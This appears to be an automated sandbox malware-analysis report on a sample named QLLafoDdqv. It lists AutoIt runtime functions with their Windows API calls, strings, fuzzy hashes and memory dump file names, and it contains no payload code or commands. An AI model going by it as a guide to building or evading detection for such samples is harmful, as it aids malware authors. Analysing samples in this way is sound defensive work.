Part of subcall function 007673E8: InflateRect.USER32(?,000000FF,000000FF), ref: 007674B7
Part of subcall function 007673E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 007674CE
Part of subcall function 007673E8: GetWindowLongW.USER32(00000000,000000F0), ref: 007674DB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: e679133389053e40739a3b6ed7e48c308c845f9dd4765d4aa0c3ca1af43bba65
Instruction ID: 4b0e5bbc4b233345bf4b39c2bd8dd3a77010c4f2737830aa4d694ecc755e83cf
Opcode Fuzzy Hash: e679133389053e40739a3b6ed7e48c308c845f9dd4765d4aa0c3ca1af43bba65
Instruction Fuzzy Hash: F6A1C172008305EFDB069F60DC48E6B7BA9FF89364F104A19F9A3961E1D7B8E844CB55

Function 006E8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 006E8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00726AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00726AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00726F43

Part of subcall function 006E8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,006E8BE8,?,00000000,?,?,?,?,006E8BBA,00000000,?), ref: 006E8FC5

SendMessageW.USER32(?,00001053), ref: 00726F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00726F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00726FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00726FB7

Strings

0, xrefs: 00726DCF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 3f420435c19c67cce9ef405d329a357a3800991e6031a5731dfce5f5256c87bd
Instruction ID: c724ab0eb826f205c56a2924846857079c5eaca632d4beb3d7aa03b8300cf4ff
Opcode Fuzzy Hash: 3f420435c19c67cce9ef405d329a357a3800991e6031a5731dfce5f5256c87bd
Instruction Fuzzy Hash: AB12DE306012A1DFDB25DF24E844BB6B7E2FB45300F54846AF5898B261CB39EC92DF95

Function 00752711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0075273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0075286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 007528A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 007528B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00752900
GetClientRect.USER32(00000000,?), ref: 0075290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00752955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00752964
GetStockObject.GDI32(00000011), ref: 00752974
SelectObject.GDI32(00000000,00000000), ref: 00752978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00752988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00752991
DeleteDC.GDI32(00000000), ref: 0075299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 007529C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 007529DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00752A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00752A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00752A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00752A77
GetStockObject.GDI32(00000011), ref: 00752A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00752A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00752A97

Strings

msctls_progress32, xrefs: 00752A13
AutoIt v3, xrefs: 007528F8
DISPLAY, xrefs: 0075295A
static, xrefs: 0075294F, 00752A71

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: d18e94631bf90796df279ce995486a89449f235ee8da0f223f79b8259d6598ab
Instruction ID: 3b431d28ec751e0e2ab31efd205dc064d2ec17bd1ac2c34280db8d5a36c3aeaa
Opcode Fuzzy Hash: d18e94631bf90796df279ce995486a89449f235ee8da0f223f79b8259d6598ab
Instruction Fuzzy Hash: 6EB19FB1A00215AFEB14DFA8DC45FAE7BA9EB49711F008115F915E7291D7B8ED00CF98

Function 00744ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00744AED
GetDriveTypeW.KERNEL32(?,0076CB68,?,\\.\,0076CC08), ref: 00744BCA
SetErrorMode.KERNEL32(00000000,0076CB68,?,\\.\,0076CC08), ref: 00744D36

Strings

1394, xrefs: 00744C9F
RAMDisk, xrefs: 00744BF4
Fibre, xrefs: 00744CAD
iSCSI, xrefs: 00744CC2
Unknown, xrefs: 00744BED, 00744C83
CDROM, xrefs: 00744BFB
SSA, xrefs: 00744CA6
Virtual, xrefs: 00744CE5
SAS, xrefs: 00744CC9
Removable, xrefs: 00744C10, 00744C15
RAID, xrefs: 00744CBB
USB, xrefs: 00744CB4
PhysicalDrive, xrefs: 00744B76
ATAPI, xrefs: 00744C91
SCSI, xrefs: 00744C8A
MMC, xrefs: 00744CDE
\\.\, xrefs: 00744B3F
SSD, xrefs: 00744C4A
FileBackedVirtual, xrefs: 00744CEC
SATA, xrefs: 00744CD0
Network, xrefs: 00744C02
Fixed, xrefs: 00744C09
ATA, xrefs: 00744C98

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 529dcb761114f399433c4dfc1f8dca62882209177102c791c74b0f918ba0c289
Instruction ID: 3a58bc7a985b63cb0183a992cc02bb70f01550bdfcd92e2eeda452b9ffbda9ef
Opcode Fuzzy Hash: 529dcb761114f399433c4dfc1f8dca62882209177102c791c74b0f918ba0c289
Instruction Fuzzy Hash: 7E61AFB0B05205DBCF04DF24DAD2A78B7B1EB05341B28851AF806AB691DB3DED41FB65

Function 007673E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00767421
SetTextColor.GDI32(?,?), ref: 00767425
GetSysColorBrush.USER32(0000000F), ref: 0076743B
GetSysColor.USER32(0000000F), ref: 00767446
CreateSolidBrush.GDI32(?), ref: 0076744B
GetSysColor.USER32(00000011), ref: 00767463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00767471
SelectObject.GDI32(?,00000000), ref: 00767482
SetBkColor.GDI32(?,00000000), ref: 0076748B
SelectObject.GDI32(?,?), ref: 00767498
InflateRect.USER32(?,000000FF,000000FF), ref: 007674B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 007674CE
GetWindowLongW.USER32(00000000,000000F0), ref: 007674DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0076752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00767554
InflateRect.USER32(?,000000FD,000000FD), ref: 00767572
DrawFocusRect.USER32(?,?), ref: 0076757D
GetSysColor.USER32(00000011), ref: 0076758E
SetTextColor.GDI32(?,00000000), ref: 00767596
DrawTextW.USER32(?,007670F5,000000FF,?,00000000), ref: 007675A8
SelectObject.GDI32(?,?), ref: 007675BF
DeleteObject.GDI32(?), ref: 007675CA
SelectObject.GDI32(?,?), ref: 007675D0
DeleteObject.GDI32(?), ref: 007675D5
SetTextColor.GDI32(?,?), ref: 007675DB
SetBkColor.GDI32(?,?), ref: 007675E5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: c9eb317c55a8b1870ec34115657b56dafaa7ad51c22af75ed506e9f3000f30c3
Instruction ID: 5e77953fe0ae5e53e073ba6c4d726d11ad724c936057cc3fc1a2ae2c0381b77a
Opcode Fuzzy Hash: c9eb317c55a8b1870ec34115657b56dafaa7ad51c22af75ed506e9f3000f30c3
Instruction Fuzzy Hash: 2C616072900218AFDF069FA4DC49EAE7F79EF09360F118115F916AB2A1D7B89940CF94

Function 00760FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00761128
GetDesktopWindow.USER32 ref: 0076113D
GetWindowRect.USER32(00000000), ref: 00761144
GetWindowLongW.USER32(?,000000F0), ref: 00761199
DestroyWindow.USER32(?), ref: 007611B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 007611ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0076120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0076121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00761232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00761245
IsWindowVisible.USER32(00000000), ref: 007612A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 007612BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 007612D0
GetWindowRect.USER32(00000000,?), ref: 007612E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0076130E
GetMonitorInfoW.USER32(00000000,?), ref: 00761328
CopyRect.USER32(?,?), ref: 0076133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 007613AA

Strings

0, xrefs: 007610D3
(, xrefs: 0076131B
tooltips_class32, xrefs: 007611E6

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 51f1f5a2ef300bdacf789e752000f07e32a24241baa57f5194a2af815d7a2a3f
Instruction ID: dfedbd7fac7fcbcedf2abbcb37c2fb22ad7444279f19c7ed3efc658e5483ad75
Opcode Fuzzy Hash: 51f1f5a2ef300bdacf789e752000f07e32a24241baa57f5194a2af815d7a2a3f
Instruction Fuzzy Hash: 90B1BC71604341AFDB44DF64C888B6ABBE4FF88300F44891DF99A9B2A1C774E844CB96

Function 00760241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 007602E5
_wcslen.LIBCMT ref: 0076031F
_wcslen.LIBCMT ref: 00760389
_wcslen.LIBCMT ref: 007603F1
_wcslen.LIBCMT ref: 00760475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 007604C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00760504

Part of subcall function 006EF9F2: _wcslen.LIBCMT ref: 006EF9FD

Part of subcall function 0073223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00732258
Part of subcall function 0073223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0073228A

Strings

SELECTALL, xrefs: 00760515
SELECT, xrefs: 00760548
GETTEXT, xrefs: 007603EC, 00760407
GETSUBITEMCOUNT, xrefs: 00760384, 0076039F
ISSELECTED, xrefs: 007604DD
GETITEMCOUNT, xrefs: 00760316, 00760337
SELECTINVERT, xrefs: 0076057E
GETSELECTED, xrefs: 007605E1
FINDITEM, xrefs: 00760627
VIEWCHANGE, xrefs: 00760675
DESELECT, xrefs: 0076059C
GETSELECTEDCOUNT, xrefs: 00760470, 0076048B
SELECTCLEAR, xrefs: 0076052D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: b0687760aadea202d0b29d0894d8dc8c0343f313711977c67ba5a1b79036be7c
Instruction ID: 66262d7673ca1f9feee3293f4e2ffc4d412a22eedae870d1cc206f5c3b4961b6
Opcode Fuzzy Hash: b0687760aadea202d0b29d0894d8dc8c0343f313711977c67ba5a1b79036be7c
Instruction Fuzzy Hash: 75E19C312182418FCB28DF24C45083BB7E6BF89314B14496DF8979B3A2DB38ED45CB91

Function 006E8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006E8968
GetSystemMetrics.USER32(00000007), ref: 006E8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006E899B
GetSystemMetrics.USER32(00000008), ref: 006E89A3
GetSystemMetrics.USER32(00000004), ref: 006E89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 006E89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 006E89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 006E8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 006E8A3C
GetClientRect.USER32(00000000,000000FF), ref: 006E8A5A
GetStockObject.GDI32(00000011), ref: 006E8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 006E8A81

Part of subcall function 006E912D: GetCursorPos.USER32(?), ref: 006E9141
Part of subcall function 006E912D: ScreenToClient.USER32(00000000,?), ref: 006E915E
Part of subcall function 006E912D: GetAsyncKeyState.USER32(00000001), ref: 006E9183
Part of subcall function 006E912D: GetAsyncKeyState.USER32(00000002), ref: 006E919D

SetTimer.USER32(00000000,00000000,00000028,006E90FC), ref: 006E8AA8

Strings

AutoIt v3 GUI, xrefs: 006E8A20

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 90ca036b657eb90872723f3038cff3e8c8f60c3b23119ed548afd0cfc702bdf6
Instruction ID: fe331e6d99001d01456d9528e8ce7a5db171a5cce4727d6a11fed194aaf2b0c1
Opcode Fuzzy Hash: 90ca036b657eb90872723f3038cff3e8c8f60c3b23119ed548afd0cfc702bdf6
Instruction Fuzzy Hash: 00B18F75A003599FDB14DFA8DC45BAE3BB5FB48314F10822AFA16A7290DB78E841CF54

Function 00730D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007310F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00731114
Part of subcall function 007310F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731120
Part of subcall function 007310F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 0073112F
Part of subcall function 007310F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731136
Part of subcall function 007310F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0073114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00730DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00730E29
GetLengthSid.ADVAPI32(?), ref: 00730E40
GetAce.ADVAPI32(?,00000000,?), ref: 00730E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00730E96
GetLengthSid.ADVAPI32(?), ref: 00730EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00730EB5
HeapAlloc.KERNEL32(00000000), ref: 00730EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00730EDD
CopySid.ADVAPI32(00000000), ref: 00730EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00730F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00730F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00730F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730F6E
HeapFree.KERNEL32(00000000), ref: 00730F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730F7E
HeapFree.KERNEL32(00000000), ref: 00730F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730F8E
HeapFree.KERNEL32(00000000), ref: 00730F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00730FA1
HeapFree.KERNEL32(00000000), ref: 00730FA8

Part of subcall function 00731193: GetProcessHeap.KERNEL32(00000008,00730BB1,?,00000000,?,00730BB1,?), ref: 007311A1
Part of subcall function 00731193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00730BB1,?), ref: 007311A8
Part of subcall function 00731193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00730BB1,?), ref: 007311B7

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: e0830977437497ec22398bdbf383c3b791d1770c116ca8d3355a8563cac0c123
Instruction ID: c366cb2ccd8912e91f2d12477ee66689e63de2c464b4d817d65b030004802b09
Opcode Fuzzy Hash: e0830977437497ec22398bdbf383c3b791d1770c116ca8d3355a8563cac0c123
Instruction Fuzzy Hash: 79715FB190020AEBEF219FA4DC49FBEBBB8BF05700F048115F959A6152D7799A05CBA0

Function 0075C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0075C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0076CC08,00000000,?,00000000,?,?), ref: 0075C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0075C5A4
_wcslen.LIBCMT ref: 0075C5F4
_wcslen.LIBCMT ref: 0075C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0075C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0075C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0075C84D
RegCloseKey.ADVAPI32(?), ref: 0075C881
RegCloseKey.ADVAPI32(00000000), ref: 0075C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0075C960

Strings

REG_QWORD, xrefs: 0075C8C3
REG_MULTI_SZ, xrefs: 0075C6F5
REG_BINARY, xrefs: 0075C913
REG_DWORD, xrefs: 0075C804
REG_EXPAND_SZ, xrefs: 0075C5CD
REG_SZ, xrefs: 0075C644

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: d1c50cf91de5fcf7162d8175df4e52af8ebba025115b202dc294a053b0fa2500
Instruction ID: 3d1e5a5c1bf9f969cf39678abe4ae1ea190436f0a9e9305c36b4f5bb90e4cf64
Opcode Fuzzy Hash: d1c50cf91de5fcf7162d8175df4e52af8ebba025115b202dc294a053b0fa2500
Instruction Fuzzy Hash: 041265316043019FDB15DF14C881B6AB7E6EF88714F04889DF88A9B3A2DB75ED45CB86

Function 0076091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 007609C6
_wcslen.LIBCMT ref: 00760A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00760A54
_wcslen.LIBCMT ref: 00760A8A
_wcslen.LIBCMT ref: 00760B06
_wcslen.LIBCMT ref: 00760B81

Part of subcall function 006EF9F2: _wcslen.LIBCMT ref: 006EF9FD

Part of subcall function 00732BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00732BFA

Strings

SELECT, xrefs: 00760D11
EXPAND, xrefs: 00760BF8
GETTOTALCOUNT, xrefs: 007609F2, 00760A17
UNCHECK, xrefs: 00760D3E
GETTEXT, xrefs: 00760C97
COLLAPSE, xrefs: 00760B01, 00760B1C
CHECK, xrefs: 00760A85, 00760AA0
GETITEMCOUNT, xrefs: 00760C1E
GETSELECTED, xrefs: 00760C4E
EXISTS, xrefs: 00760B7C, 00760B97
ISCHECKED, xrefs: 00760CE1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
